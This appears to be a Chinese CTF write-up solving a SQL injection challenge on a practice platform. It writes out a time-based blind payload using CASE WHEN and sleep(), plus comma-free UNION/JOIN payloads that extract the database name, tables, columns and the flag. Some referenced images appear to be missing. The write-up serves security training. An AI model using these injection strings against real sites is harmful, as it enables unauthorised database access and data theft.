“百度杯”CTF比赛 九月场_SQLi

2023-02-24,,

题目在i春秋ctf大本营

看网页源码提示:

这边是个大坑,访问login.php发现根本不存在注入点,看了wp才知道注入点在l0gin.php

尝试order by语句,发现3的时候页面发生变化,说明id存在注入

初步判定是一个基于时间的盲注

直接上注入语句:

发现并没有发生延迟,看返回页面“,”后面的语句都被过滤了,这就说明逗号在这里不能用,那么if语句就失效了

这里可以用select case when then语句代替,详细可以参考前之前的文章:

实验吧_who are you?(盲注)

这里的python代码稍加修改就能用了

经过测试,发现数据库名为4位

当我想拿去python中跑的时候,出现了如下语句

竟然说我请求的url太大.......但我转而手工尝试了注入语句发现是可行,页面会发生延迟

http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=1' and case when (substring((select database()) from 1 for 1)='s') then sleep(5) else sleep(0) end and '1'='1

但python中死活跑不了......

但总不能全部手工吧,那得解到猴年马月,去寻找另一种方法

查阅了wp后,文中提到了另一种不需要逗号的注入:

http://blog.csdn.net/qq_33020901/article/details/78906268

先看数据库名和版本:

http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select database()) a join (select version() ) b %23

接着查表:

http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select group_concat(table_name) from information_schema.tables where table_schema='sqli') a join (select version() ) b %23

字段:

http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b %23

data:

http://64202c9256424155a22617ee3b2168abc08902cd28994fe0.game.ichunqiu.com/l0gin.php?id=id=1' union select * from (select flag_9c861b688330 from users) a join (select version() ) b %23

“百度杯”CTF比赛 九月场_SQLi的相关教程结束。

《“百度杯”CTF比赛 九月场_SQLi.doc》

下载本文的Word格式文档,以方便收藏与打印。